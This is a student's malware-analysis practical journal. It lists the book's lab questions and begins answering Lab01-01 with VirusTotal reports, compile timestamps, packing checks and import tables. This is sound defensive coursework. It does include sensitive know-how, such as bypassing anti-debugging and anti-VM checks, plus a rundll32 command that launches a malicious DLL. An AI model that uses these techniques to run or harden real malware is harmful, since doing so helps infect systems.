

A
PROJECT JOURNAL
IN
MALWARE ANALYSIS
Submitted in partial fulfillment of the
Requirements for the award of the degree of
MASTER OF SCIENCE (INFORMATION TECHNOLOGY)

BY

HARSHALA VINOD KOYATE

Under the guidance of

Prof. SUNITA SINGH

DEPARTMENT OF INFORMATION TECHNOLOGY



K.M. AGRAWAL COLLEGE
(Affiliated to the University of Mumbai)
KALYAN, PINCODE: - 421301 MAHARASHTRA
Academic Year 2023 - 2024

A
PROJECT JOURNAL
IN
MALWARE ANALYSIS

Submitted in partial fulfilment of the
Requirements for the award of the degree of
MASTER OF SCIENCE (INFORMATION TECHNOLOGY)

BY

HARSHALA VINOD KOYATE

Under the guidance of

Prof. SUNITA SINGH

DEPARTMENT OF INFORMATION TECHNOLOGY



K.M. AGRAWAL COLLEGE
(Affiliated to the University of Mumbai)
KALYAN, PINCODE: - 421301
MAHARASHTRA
Academic Year 2023 - 2024

K.M. AGRAWAL COLLEGE OF ARTS, COMMERECE & SCIENCE KALYAN (W)



NACC ACCREDITED B++

DEPARTMENT OF INFORMATION TECHNOLOGY M.Sc. Part – 1 Sem -2 (NEP)

CERTIFICATE

This is to certify that Mr./Ms. _____ Seat No. _____

Studying in **Master of Science in Information Technology Part – I (Semester – II)** has satisfactorily completed the practical of “**Malware Analysis**” as prescribed by University of Mumbai during academic year 2023-2024.

Place: _____

Date: _____

Prof. In-Charge

Co-ordinator Incharge

External Examiner Signature

INDEX

Sr. No.	Title	Page No.	Sign
1	1. a. Files: Lab01-01.exe and Lab01-01.dll.		
	i. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures?		
	ii. When were these files compiled?		
	iii. Are there any indications that either of these files is packed or obfuscated? If so, what are these indicators?		
	iv. Do any imports hint at what this malware does? If so, which imports are they?		
	v. Are there any other files or host-based indicators that you could look for on infected systems?		
	vi. What network-based indicators could be used to find this malware on infected machines?		
	vii. What would you guess is the purpose of these files?		
	b. Analyze the file Lab01-02.exe.		
	i. Upload the <i>Lab01-02.exe</i> file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions?		
	ii. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.		
	iii. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?		
	iv. What host- or network-based indicators could be used to identify this malware on infected machines?		
	c. Analyze the file Lab01-03.exe.		
	i. Upload the <i>Lab01-03.exe</i> file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions?		
	ii. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.		
	iii. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?		
	iv. What host- or network-based indicators could be used to identify this malware on infected machines?		
	d. Analyze the file Lab01-04.exe.		
	i. Upload the <i>Lab01-04.exe</i> file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions?		

	ii. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.		
	iii. When was this program compiled?		
	iv. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?		
	v. What host- or network-based indicators could be used to identify this malware on infected machines?		
	vi. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?		
	e. Analyze the malware found in the file Lab03-01.exe using basic dynamic analysis tools.		
	i. What are this malware's imports and strings?		
	ii. What are the malware's host-based indicators?		
	iii. Are there any useful network-based signatures for this malware? If so, what are they?		
	f. Analyze the malware found in the file Lab03-02.dll using basic dynamic analysis tools.		
	i. How can you get this malware to install itself?		
	ii. How would you get this malware to run after installation?		
	iii. How can you find the process under which this malware is running?		
	iv. Which filters could you set in order to use procmon to glean information?		
	v. What are the malware's host-based indicators?		
	vi. Are there any useful network-based signatures for this malware?		
	g. Execute the malware found in the file Lab03-03.exe while monitoring it using basic dynamic analysis tools in a safe environment		
	i. What do you notice when monitoring this malware with Process Explorer?		
	ii. Can you identify any live memory modifications?		
	iii. What are the malware's host-based indicators?		
	iv. What is the purpose of this program?		
	h. Analyze the malware found in the file Lab03-04.exe using basic dynamic analysis tools.		
	i. What happens when you run this file?		
	ii. What is causing the roadblock in dynamic analysis?		
	iii. Are there other ways to run this program?		

2.	a. Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The goal of this lab is to give you hands-on experience with IDA Pro. If you've already worked with IDA Pro, you may choose to ignore these questions and focus on reverse engineering the malware.		
	i. What is the address of DllMain?		
	ii. Use the Imports window to browse to gethostbyname. Where is the import located?		
	iii. How many functions call gethostbyname?		
	iv. Focusing on the call to gethostbyname located at 0x10001757, can you figure out which DNS request will be made?		
	v. How many local variables has IDA Pro recognized for the subroutine at 0x10001656?		
	vi. How many parameters has IDA Pro recognized for the subroutine at 0x10001656?		
	vii. Use the Strings window to locate the string \cmd.exe /c in the disassembly. Where is it located?		
	viii. What is happening in the area of code that references \cmd.exe/c?		
	ix. In the same area, at 0x100101C8, it looks like word_1008E5C4 is a global variable that helps decide which path to take. How does the malware set dword_1008E5C4? (Hint: Use dword_1008E5C4's cross-references.)		
	x. A few hundred lines into the subroutine at 0x1000FF58, a series of com parisons use memcmp to compare strings. What happens if the string comparison to robotworkis successful (when memcmp returns 0)?		
	xi. What does the export PSLISTdo?		
	xii. Use the graph mode to graph the cross-references from sub_10004E79. Which API functions could be called by entering this function? Based on the API functions alone, what could you rename this function?		
	xiii. How many Windows API functions does DllMain call directly? How many at a depth of 2?		
	xiv. At 0x10001358, there is a call to Sleep (an API function that takes one parameter containing the number of milliseconds to sleep). Looking backward through the code, how long will the program sleep if this code executes?		
	xv. At 0x10001701 is a call to socket. What are the three parameters?		

	xvi. Using the MSDN page for socket and the named symbolic constants functionality in IDA Pro, can you make the parameters more meaningful? What are the parameters after you apply changes?		
	xvii. Search for usage of the in instruction (opcode 0xED). This instruction is used with a magic string VMXh to perform VMware detection. Is that in use in this malware? Using the cross-references to the function that executes the in instruction, is there further evidence of VMware detection?		
	xviii. Jump your cursor to 0x1001D988. What do you find?		
	xix. If you have the IDA Python plug-in installed (included with the commercial version of IDA Pro), run <i>Lab05-01.py</i> , an IDA Pro Python script provided with the malware for this book. (Make sure the cursor is at 0x1001D988.) What happens after you run the script?		
	xx. With the cursor in the same location, how do you turn this data into a single ASCII string?		
	xxi. Open the script with a text editor. How does it work?		
	b. analyze the malware found in the file Lab06-01.exe.		
i.	What is the major code construct found in the only subroutine called by main?		
ii.	What is the subroutine located at 0x40105F?		
iii.	What is the purpose of this program?		
	c. Analyze the malware found in the file Lab06-02.exe.		
i.	What operation does the first subroutine called by main perform?		
ii.	What is the subroutine located at 0x40117F?		
iii.	What does the second subroutine called by main do?		
iv.	What type of code construct is used in this subroutine?		
v.	Are there any network-based indicators for this program?		
vi.	What is the purpose of this malware?		
	d. analyze the malware found in the file Lab06-03.exe.		
i.	Compare the calls in main to Lab 6-2's main method. What is the new function called from main?		
ii.	What parameters does this new function take?		
iii.	What major code construct does this function contain?		
iv.	What can this function do?		
v.	Are there any host-based indicators for this malware?		
vi.	What is the purpose of this malware?		
	e. analyze the malware found in the file Lab06-04.exe.		
i.	What is the difference between the calls made from the main method in Labs 6-3 and 6-4?		

	ii. What new code construct has been added to main?		
	iii. What is the difference between this lab's parse HTML function and those of the previous labs?		
	iv. How long will this program run? (Assume that it is connected to the Internet.)		
	v. Are there any new network-based indicators for this malware?		
	vi. What is the purpose of this malware?		
3.	a. Analyze the malware found in the file Lab07-01.exe.		
	i. How does this program ensure that it continues running (achieves persistence) when the computer is restarted?		
	ii. Why does this program use a mutex?		
	iii. What is a good host-based signature to use for detecting this program?		
	iv. What is a good network-based signature for detecting this malware?		
	v. What is the purpose of this program?		
	vi. When will this program finish executing?		
	b. Analyze the malware found in the file Lab07-02.exe.		
	i. How does this program achieve persistence?		
	ii. What is the purpose of this program?		
	iii. When will this program finish executing?		
	c. For this lab, we obtained the malicious executable, Lab07-03.exe, and DLL, Lab07-03.dll, prior to executing. This is important to note because the malware might change once it runs. Both files were found in the same directory on the victim machine. If you run the program, you should ensure that both files are in the same directory on the analysis machine. A visible IP string beginning with 127 (a loopback address) connects to the local machine. (In the real version of this malware, this address connects to a remote machine, but we've set it to connect to localhost to protect you.)		
	i. How does this program achieve persistence to ensure that it continues running when the computer is restarted?		
	ii. What are two good host-based signatures for this malware?		
	iii. What is the purpose of this program?		
	iv. How could you remove this malware once it is installed?		
	d. Analyze the malware found in the file Lab09-01.exe using OllyDbg and IDA Pro to answer the following questions. This malware was initially analyzed in the Chapter 3 labs using basic static and dynamic analysis techniques.		
	i. How can you get this malware to install itself?		

	ii. What are the command-line options for this program? What is the pass word requirement?		
	iii. How can you use OllyDbg to permanently patch this malware, so that it doesn't require the special command-line password?		
	iv. What are the host-based indicators of this malware?		
	v. What are the different actions this malware can be instructed to take via the network?		
	vi. Are there any useful network-based signatures for this malware?		
	e. Analyze the malware found in the file Lab09-02.exe using OllyDbg to answer the following questions.		
	i. What strings do you see statically in the binary?		
	ii. What happens when you run this binary?		
	iii. How can you get this sample to run its malicious payload?		
	iv. What is happening at 0x00401133?		
	v. What arguments are being passed to subroutine 0x00401089?		
	vi. What domain name does this malware use?		
	vii. What encoding routine is being used to obfuscate the domain name?		
	viii. What is the significance of the CreateProcessAcall at 0x0040106E?		
	f. Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA Pro. This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll) that are all built to request the same memory load location. Therefore, when viewing these DLLs in OllyDbg versus IDA Pro, code may appear at different memory locations. The purpose of this lab is to make you comfortable with finding the correct location of code within IDA Pro when you are looking at code in OllyDbg		
	i. What DLLs are imported by <i>Lab09-03.exe</i> ?		
	ii. What is the base address requested by <i>DLL1.dll</i> , <i>DLL2.dll</i> , and <i>DLL3.dll</i> ?		
	iii. When you use OllyDbg to debug <i>Lab09-03.exe</i> , what is the assigned based address for: <i>DLL1.dll</i> , <i>DLL2.dll</i> , and <i>DLL3.dll</i> ?		
	iv. When <i>Lab09-03.exe</i> calls an import function from <i>DLL1.dll</i> , what does this import function do?		
	v. When <i>Lab09-03.exe</i> calls WriteFile, what is the filename it writes to?		
	vi. When <i>Lab09-03.exe</i> creates a job using NetScheduleJobAdd, where does it get the data for the second parameter?		
	vii. While running or debugging the program, you will see that it prints out three pieces of mystery data. What are the following:		

	DLL 1 mystery data 1, DLL 2 mystery data 2, and DLL 3 mystery data 3?		
	viii. How can you load <i>DLL2.dll</i> into IDA Pro so that it matches the load address used by OllyDbg?		
4	a. This lab includes both a driver and an executable. You can run the executable from anywhere, but in order for the program to work properly, the driver must be placed in the C:\Windows\System32 directory where it was originally found on the victim computer. The executable is Lab10-01.exe, and the driver is Lab10-01.sys.		
	i. Does this program make any direct changes to the registry? (Use procmon to check.)		
	ii. The user-space program calls the ControlService function. Can you set a breakpoint with WinDbg to see what is executed in the kernel as a result of the call to ControlService?		
	iii. What does this program do?		
	b. The file for this lab is Lab10-02.exe.		
	i. Does this program create any files? If so, what are they?		
	ii. Does this program have a kernel component?		
	iii. What does this program do?		
	c. This lab includes a driver and an executable. You can run the executable from anywhere, but in order for the program to work properly, the driver must be placed in the C:\Windows\System32 directory where it was originally found on the victim computer. The executable is Lab10-03.exe, and the driver is Lab10-03.sys.		
	i. What does this program do?		
	ii. Once this program is running, how do you stop it?		
	iii. What does the kernel component do?		
5	a. Analyze the malware found in Lab11-01.exe		
	i. What does the malware drop to disk?		
	ii. How does the malware achieve persistence?		
	iii. How does the malware steal user credentials?		
	iv. What does the malware do with stolen credentials?		
	v. How can you use this malware to get user credentials from your test environment?		
	b. Analyze the malware found in Lab11-02.dll. Assume that a suspicious file named Lab11-02.ini was also found with this malware.		
	i. What are the exports for this DLL malware?		
	ii. What happens after you attempt to install this malware using		

	iii. <i>rundll32.exe</i> ?		
	iv. Where must <i>Lab11-02.ini</i> reside in order for the malware to install properly?		
	v. How is this malware installed for persistence?		
	vi. What user-space rootkit technique does this malware employ?		
	vii. What does the hooking code do?		
	viii. Which process(es) does this malware attack and why?		
	ix. What is the significance of the <i>.ini</i> file?		
	c. Analyze the malware found in <i>Lab11-03.exe</i> and <i>Lab11-03.dll</i>. Make sure that both files are in the same directory during analysis		
	i. What interesting analysis leads can you discover using basic static analysis?		
	ii. What happens when you run this malware?		
	iii. How does <i>Lab11-03.exe</i> persistently install <i>Lab11-03.dll</i> ?		
	iv. Which Windows system file does the malware infect?		
	v. What does <i>Lab11-03.dll</i> do?		
	vi. Where does the malware store the data it collects?		
6	a. Analyze the malware found in the file <i>Lab12-01.exe</i> and <i>Lab12-01.dll</i>. Make sure that these files are in the same directory when performing the analysis		
	i. What happens when you run the malware executable?		
	ii. What process is being injected?		
	iii. How can you make the malware stop the pop-ups?		
	iv. How does this malware operate?		
	b. Analyze the malware found in the file <i>Lab12-02.exe</i>.		
	i. What is the purpose of this program?		
	ii. How does the launcher program hide execution?		
	iii. Where is the malicious payload stored?		
	iv. How is the malicious payload protected?		
	v. How are strings protected?		
	c. Analyze the malware extracted during the analysis of Lab 12-2, or use the file <i>Lab12-03.exe</i>.		
	i. What is the purpose of this malicious payload?		
	ii. How does the malicious payload inject itself?		
	iii. What filesystem residue does this program create?		
	d. Analyze the malware found in the file <i>Lab12-04.exe</i> .		
	i. What does the code at 0x401000 accomplish?		
	ii. Which process has code injected?		
	iii. What DLL is loaded using LoadLibraryA?		

	iv. What is the fourth argument passed to the CreateRemoteThread call? v. What malware is dropped by the main executable?		
7	a. Analyze the malware found in the file <i>Lab13-01.exe</i>. i. Compare the strings in the malware (from the output of the strings command) with the information available via dynamic analysis. Based on this comparison, which elements might be encoded? ii. Use IDA Pro to look for potential encoding by searching for the string xor. What type of encoding do you find? iii. What is the key used for encoding and what content does it encode? iv. Use the static tools FindCrypt2, Krypto ANALyzer(KANAL), and the IDA Entropy Plugin to identify any other encoding mechanisms. What do you find? v. What type of encoding is used for a portion of the network traffic sent by the malware? vi. Where is the Base64 function in the disassembly? vii. What is the maximum length of the Base64-encoded data that is sent? What is encoded? viii. In this malware, would you ever see the padding characters (=or ==) in the Base64-encoded data? ix. What does this malware do?		
	b. Analyze the malware found in the file <i>Lab13-02.exe</i>. i. Using dynamic analysis, determine what this malware creates. ii. Use static techniques such as an xor search, FindCrypt2, KANAL, and the IDA Entropy Plugin to look for potential encoding. What do you find? iii. Based on your answer to question 1, which imported function would be a good prospect for finding the encoding functions? iv. Where is the encoding function in the disassembly? v. Trace from the encoding function to the source of the encoded content. What is the content? vi. Can you find the algorithm used for encoding? If not, how can you decode the content? vii. Using instrumentation, can you recover the original source of one of the encoded files?		
	c. Analyze the malware found in the file <i>Lab13-03.exe</i>. i. Compare the output of strings with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?		

	ii. Use static analysis to look for potential encoding by searching for the string xor. What type of encoding do you find?		
	iii. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to identify any other encoding mechanisms. How do these findings compare with the XOR findings?		
	iv. Which two encoding techniques are used in this malware?		
	v. For each encoding technique, what is the key?		
	vi. For the cryptographic encryption algorithm, is the key sufficient? What else must be known?		
	vii. What does this malware do?		
	viii. Create code to decrypt some of the content produced during dynamic analysis. What is this content?		
8	a. Analyze the malware found in file <i>Lab14-01.exe</i>. This program is not harmful to your system.		
	i. Which networking libraries does the malware use, and what are their advantages?		
	ii. What source elements are used to construct the networking beacon, and what conditions would cause the beacon to change?		
	iii. Why might the information embedded in the networking beacon be of interest to the attacker?		
	iv. Does the malware use standard Base64 encoding? If not, how is the encoding unusual?		
	v. What is the overall purpose of this malware?		
	vi. What elements of the malware's communication may be effectively detected using a network signature?		
	vii. What mistakes might analysts make in trying to develop a signature for this malware?		
	viii. What set of signatures would detect this malware (and future variants)?		
	b. Analyze the malware found in file <i>Lab14-02.exe</i>. This malware has been configured to beacon to a hard-coded loopback address in order to prevent it from harming your system, but imagine that it is a hard-coded external address.		
	i. What are the advantages or disadvantages of coding malware to use direct IP addresses?		
	ii. Which networking libraries does this malware use? What are the advantages or disadvantages of using these libraries?		
	iii. What is the source of the URL that the malware uses for beaconing? What advantages does this source offer?		
	iv. Which aspect of the HTTP protocol does the malware leverage to achieve its objectives?		

	v. What kind of information is communicated in the malware's initial beacon?		
	vi. What are some disadvantages in the design of this malware's communication channels?		
	vii. Is the malware's encoding scheme standard?		
	viii. How is communication terminated?		
	ix. What is the purpose of this malware, and what role might it play in the attacker's arsenal?		
	c. This lab builds on Practical 8 a. Imagine that this malware is an attempt by the attacker to improve his techniques. Analyze the malware found in file Lab14-03.exe.		
	i. What hard-coded elements are used in the initial beacon? What elements, if any, would make a good signature?		
	ii. What elements of the initial beacon may not be conducive to a long lasting signature?		
	iii. How does the malware obtain commands? What example from the chapter used a similar methodology? What are the advantages of this technique?		
	iv. When the malware receives input, what checks are performed on the input to determine whether it is a valid command? How does the attacker hide the list of commands the malware is searching for?		
	v. What type of encoding is used for command arguments? How is it different from Base64, and what advantages or disadvantages does it offer?		
	vi. What commands are available to this malware?		
	vii. What is the purpose of this malware?		
	viii. This chapter introduced the idea of targeting different areas of code with independent signatures (where possible) in order to add resiliency to network indicators. What are some distinct areas of code or configuration data that can be targeted by network signatures?		
	ix. What set of signatures should be used for this malware?		
	d. Analyze the sample found in the file Lab15-01.exe. This is a command-line program that takes an argument and prints "Good Job!" if the argument matches a secret code.		
	i. What anti-disassembly technique is used in this binary?		
	ii. What rogue opcode is the disassembly tricked into disassembling?		
	iii. How many times is this technique used?		

	iv. What command-line argument will cause the program to print “Good Job!”?		
	e. Analyze the malware found in the file Lab15-02.exe. Correct all anti-disassembly countermeasures before analyzing the binary in order to answer the questions.		
	i. What URL is initially requested by the program?		
	ii. How is the User-Agent generated?		
	iii. What does the program look for in the page it initially requests?		
	iv. What does the program do with the information it extracts from the page?		
	f. Analyze the malware found in the file Lab15-03.exe. At first glance, this binary appears to be a legitimate tool, but it actually contains more functionality than advertised.		
	i. How is the malicious code initially called?		
	ii. What does the malicious code do?		
	iii. What URL does the malware use?		
	iv. What filename does the malware use?		
9	a. Analyze the malware found in Lab16-01.exe using a debugger. This is the same malware as Lab09-01.exe, with added anti-debugging techniques.		
	i. Which anti-debugging techniques does this malware employ?		
	ii. What happens when each anti-debugging technique succeeds?		
	iii. How can you get around these anti-debugging techniques?		
	iv. How do you manually change the structures checked during runtime?		
	v. Which OllyDbg plug-in will protect you from the anti-debugging techniques used by this malware?		
	b. Analyze the malware found in Lab16-02.exe using a debugger. The goal of this lab is to figure out the correct password. The malware does not drop a malicious payload.		
	i. What happens when you run Lab16-02.exe from the command line?		
	ii. What happens when you run Lab16-02.exe and guess the command-line parameter?		
	iii. What is the command-line password?		
	iv. Load Lab16-02.exe into IDA Pro. Where in the mainfunction is strncmp		
	v. found?		
	vi. What happens when you load this malware into OllyDbg using the default settings?		
	vii. What is unique about the PE structure of Lab16-02.exe?		

	viii. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.)		
	ix. Which anti-debugging technique is the program using to terminate immediately in the debugger and how can you avoid this check?		
	x. What is the command-line password you see in the debugger after you disable the anti-debugging technique?		
	xi. Does the password found in the debugger work on the command line?		
	c. Analyze the malware in <i>Lab16-03.exe</i> using a debugger. This malware is similar to <i>Lab09-02.exe</i>, with certain modifications, including the introduction of anti debugging techniques.		
	i. Which strings do you see when using static analysis on the binary?		
	ii. What happens when you run this binary?		
	iii. How must you rename the sample in order for it to run properly?		
	iv. Which anti-debugging techniques does this malware employ?		
	v. For each technique, what does the malware do if it determines it is running in a debugger?		
	vi. Why are the anti-debugging techniques successful in this malware?		
	vii. What domain name does this malware use?		
	d. Analyze the malware found in <i>Lab17-01.exe</i> inside VMware. This is the same malware as <i>Lab07-01.exe</i>, with added anti-VMware techniques.		
	i. What anti-VM techniques does this malware use?		
	ii. If you have the commercial version of IDA Pro, run the IDA Python script from Listing 17-4 in Chapter 17 (provided here as <i>findAntiVM.py</i>). What does it find?		
	iii. What happens when each anti-VM technique succeeds?		
	iv. Which of these anti-VM techniques work against your virtual machine?		
	v. Why does each anti-VM technique work or fail?		
	vi. How could you disable these anti-VM techniques and get the malware to run?		
	e. Analyze the malware found in the file <i>Lab17-02.dll</i> inside VMware. After answering the first question in this lab, try to run the installation exports using <i>rundll32.exe</i> and monitor them with a tool like procmon. The following is an example		

	command line for executing the DLL: rundll32.exe Lab17-02.dll,InstallRT (or InstallSA/InstallSB)		
	i. What are the exports for this DLL?		
	ii. What happens after the attempted installation using <i>rundll32.exe</i> ?		
	iii. Which files are created and what do they contain?		
	iv. What method of anti-VM is in use?		
	v. How could you force the malware to install during runtime?		
	vi. How could you permanently disable the anti-VMtechnique?		
	vii. How does each installation export function work?		
	f. Analyze the malware <i>Lab17-03.exe</i> inside VMware.		
	i. What happens when you run this malware in a virtual machine?		
	ii. How could you get this malware to run and drop its keylogger?		
	iii. Which anti-VM techniques does this malware use?		
	iv. What system changes could you make to permanently avoid the anti-VM techniques used by this malware?		
	v. How could you patch the binary in OllyDbg to force the anti-VM techniques to permanently fail?		
10	a. Analyze the file <i>Lab19-01.bin</i> using <i>shellcode_launcher.exe</i>		
	i. How is the shellcode encoded?		
	ii. Which functions does the shellcode manually import?		
	iii. What network host does the shellcode communicate with?		
	iv. What filesystem residue does the shellcode leave?		
	v. What does the shellcode do?		
	b. The file <i>Lab19-02.exe</i> contains a piece of shellcode that will be injected into another process and run. Analyze this file.		
	i. What process is injected with the shellcode?		
	ii. Where is the shellcode located?		
	How is the shellcode encoded?		
	iv. Which functions does the shellcode manually import?		
	v. What network hosts does the shellcode communicate with?		
	vi. What does the shellcode do?		
	c. Analyze the file <i>Lab19-03.pdf</i>. If you get stuck and can't find the shellcode, just skip that part of the lab and analyze file <i>Lab19-03_sc.bin</i> using <i>shellcode_launcher.exe</i>.		
	i. What exploit is used in this PDF?		
	ii. How is the shellcode encoded?		
	iii. Which functions does the shellcode manually import?		
	iv. What filesystem residue does the shellcode leave?		
	v. What does the shellcode do?		

	d. The purpose of this first lab is to demonstrate the usage of the thispointer. Analyze the malware in <i>Lab20-01.exe</i>.		
	i. Does the function at 0x401040 take any parameters?		
	ii. Which URL is used in the call to URLDownloadToFile?		
	iii. What does this program do?		
	e. Analyze the malware In Lab20-02.exe.		
	i. What can you learn from the interesting strings in this program?		
	ii. What do the imports tell you about this program?		
	iii. What is the purpose of the object created at 0x4011D9? Does it have any virtual functions?		
	iv. Which functions could possibly be called by the call [edx]instruction at 0x401349?		
	v. How could you easily set up the server that this malware expects in order to fully analyze the malware without connecting it to the Internet?		
	vi. What is the purpose of this program?		
	vii. What is the purpose of implementing a virtual function call in this program?		
	f. Analyze the malware in Lab20-03.exe.		
	i. What can you learn from the interesting strings in this program?		
	ii. What do the imports tell you about this program?		
	iii. At 0x4036F0, there is a function call that takes the string Config error, followed a few instructions later by a call to CxxThrowException. Does the function take any parameters other than the string? Does the function return anything? What can you tell about this function from the context in which it's used?		
	iv. What do the six entries in the switch table at 0x4025C8 do?		
	v. What is the purpose of this program?		
	g. Analyze the code in <i>Lab21-01.exe</i>		
	i. What happens when you run this program without any parameters?		
	ii. Depending on your version of IDA Pro, main may not be recognized automatically. How can you identify the call to the main function?		
	iii. What is being stored on the stack in the instructions from 0x0000000140001150 to 0x0000000140001161?		
	iv. How can you get this program to run its payload without changing the filename of the executable?		
	v. Which two strings are being compared by the call to strncmp at 0x0000000140001205?		

	vi. Does the function at 0x00000001400013C8 take any parameters?		
	vii. How many arguments are passed to the call to CreateProcess at 0x0000000140001093? How do you know?		
	h. Analyze the malware found in <i>Lab21-02.exe</i> on both x86 and x64 virtual machines.		
	i. What is interesting about the malware's resource sections?		
	ii. Is this malware compiled for x64 or x86?		
	iii. How does the malware determine the type of environment in which it is running?		
	iv. What does this malware do differently in an x64 environment versus an x86 environment?		
	v. Which files does the malware drop when running on an x86 machine? Where would you find the file or files?		
	vi. Which files does the malware drop when running on an x64 machine? Where would you find the file or files?		
	vii. What type of process does the malware launch when run on an x64 system?		
	viii. What does the malware do?		

Practical No. 1

a- This lab uses the files Lab01–01.exe and Lab01–01.dll.

i- To begin with, we have **Lab01–01.exe** and **Lab01–01.dll**. At first glance, we can might assume these associated. As **.dlls** can't be run on their own, potentially **Lab01–01.exe** is used to run **Lab01–01.dll**. We can upload these to <http://www.VirusTotal.com> to gain a useful amount of initial information (Figure 1.1).

The figure consists of two side-by-side screenshots of the VirusTotal.com website interface. Both screenshots show the analysis results for different engines.

Top Screenshot (Lab01–01.exe):

- File Type:** EXE
- SHA-256:** 58098bd42c3bd3bf9b1389f0ee5b39cd5818...
- File name:** s1.exe
- File size:** 16 KB
- Last analysis:** 2019-05-03 05:03:14 UTC
- Community score:** +10
- Detection:** 44 / 73
- Detected by:**
 - AcegisLab: Trojan.Win32.Generic.4ic
 - AhnLab-V3: Trojan.Win32.AgentLC957804
 - Alibaba: Trojan.Win32/Aenjariis.11d9e8fa

Bottom Screenshot (Lab01–01.dll):

- File Type:** DLL
- SHA-256:** f50e42c8dfaa8640bde0308867e030088c2a599e0db308260...
- File name:** Lab01-01.dll
- File size:** 160 KB
- Last analysis:** 2019-04-27 18:35:12 UTC
- Community score:** -103
- Detection:** 36 / 71
- Detected by:**
 - Acronis: suspicious
 - AcegisLab: Trojan.Win32.Generic.4ic
 - Alibaba: Trojan.Win32.Generic.1994ec0f

Figure 1.1— VirusTotal.com reports for **Lab01–01.exe** and **Lab01–01.dll**.

Although the book states that these files are initially unlikely to appear within [VirusTotal](#), they have become part of the antivirus signatures so have been recognised. We currently see that 44/73 antivirus tools pick up on malicious signatures from **Lab01–01.exe**, whereas 36/71 identify **Lab01–01.dll** as malicious.

ii-We can use [VirusTotal](#) to identify more information, such as when the files were compiled. We see that the two files were compiled almost at the same time (*around 2010–12–19 16:16:19*) — this strengthens the theory as the two files are associated. Other tools can also be utilised to identify Time Date Stamp, such as [PE Explorer](#) (Figure 2.1).

Portable Executable Info ①

Header

Target Machine	Intel 386 or later processors :
Compilation Timestamp	2010-12-19 16:16:19
Entry Point	6176
Contained Sections	3

HEADERS INFO		
	Address of Entry Point: 00401820	
		Real Image Checksum:
Field Name	Data Value	Description
Machine	014Ch	i386®
Number of Sections	0003h	
Time Date Stamp	4D0E2FD3h	19/12/2010 16:16:19
Pointer to Symbol Table	00000000h	
Number of Symbols	00000000h	

Figure 2.1 — Date Time Stamps from VirusTotal.com and PE Explorer.

iii-When a file is **packed**, it is more difficult to analyse as it is typically obfuscated and compressed. Key indicators that a program is packed, is a lack of visible strings or information, or including certain functions such as `LoadLibrary` or `GetProcAddress` — used for additional functions. A packed executable has a **wrapper program** which decompresses and runs the file, and when statically analysing a packed program, only the wrapper program is examined.




Figure 3.1 — PEiD of **Lab01-01.exe**

[PEiD](#) can be used to identify whether a file is packed, as it shows which packer or compiler was used to build the program. In this case *Microsoft Visual C++ 6.0* is used for both the **Lab01-01.exe** and **Lab01-01.dll** (figure 3.1), whereas a packed file would be packed with something like [UPX](#).

iv- Investigating the **imports** is useful in identifying what the malware might do. Imports are functions used by a program, but are actually stored in a different program, such as common libraries.

Any of the previously used tools ([VirusTotal](#), [PEiD](#), and [PE Explorer](#)) can be used to identify the imports. These are stored within the **ImportTable** and can be expanded to see which functions have been imported.

Lab01-01.exe imports functions from `KERNEL32.dll` and `MSVCRT.dll`, with **Lab01-01.dll** also importing functions from `KERNEL32.dll`, `MSVCRT.dll`, and `WS2_32.dll` (figure 4.1)

Imports Viewer					
DllName	OriginalFirstThunk	TimeDateStamp	ForwarderChain	Name	FirstThunk
KERNEL32.dll	000020B8	00000000	00000000	000021C2	00002000
MSVCRT.dll	000020E4	00000000	00000000	000021E2	0000202C
<hr/>					
Thunk RVA	Thunk Offset	Thunk Value	Hint/Ordinal	API Name	
00002008	00002008	00002144	01B5	IsBadReadPtr	
0000200C	0000200C	00002154	01D6	MapViewOfFile	
00002010	00002010	00002164	0035	CreateFileMappingA	
00002014	00002014	0000217A	0034	CreateFileA	
00002018	00002018	00002188	0090	FindClose	
0000201C	0000201C	00002194	009D	FindNextFileA	
00002020	00002020	000021A4	0094	FindFirstFileA	
00002024	00002024	000021B6	0028	CopyFileA	

Imports Viewer					
DllName	OriginalFirstThunk	TimeDateStamp	ForwarderChain	Name	FirstThunk
KERNEL32.dll	000020AC	00000000	00000000	0000214E	00002000
WS2_32.dll	000020DC	00000000	00000000	0000215C	00002030
MSVCRT.dll	000020C4	00000000	00000000	00002172	00002018

Thunk RVA	Thunk Offset	Thunk Value	Hint/Ordinal	API Name	
00002000	00002000	00002116	0296	Sleep	
00002004	00002004	0000211E	0044	CreateProcessA	
00002008	00002008	00002130	003F	CreateMutexA	
0000200C	0000200C	00002140	01ED	OpenMutexA	
00002010	00002010	00002108	001B	CloseHandle	

Figure 4.1— Import Tables from **Lab01–01.exe** and **Lab01–01.dll**.

- KERNEL32.dll is a common DLL which contains core functionality, such as access and manipulation of memory, files, and hardware. The most significant functions to note for **Lab01–01.exe** are `FindFirstFileA` and `FindNextFileA`, which indicates the malware will search through the filesystem, as well as open and modify. On the other hand, **Lab01–01.dll** most notably uses `Sleep` and `CreateProcessA`.
- WS2_32.dll provides network functionality, however in this case is imported by ordinal rather than name, it is unclear which functions are used.
- MSVCRT.dll imports are functions that are included in most as part of the compiler wrapper code.

Assessing the combination of imported functions, so far it could be assumed that this malware allows for a network-enabled back door.

Along with **Lab01–01.exe** and **Lab01–01.dll**, there are other ways to identify malicious activity on infected systems. Disassembling **Lab01–01.exe** in [PE Explorer](#) shows us a set of strings around `kernel32.dll` which is supposed to be disguised as the common `kernel32.dll` — note 1 rather than 1 (figure 5.1).




Figure 5.1— Disassembly of **Lab01-01.exe** and **Lab01-01.dll** using PE Explorer

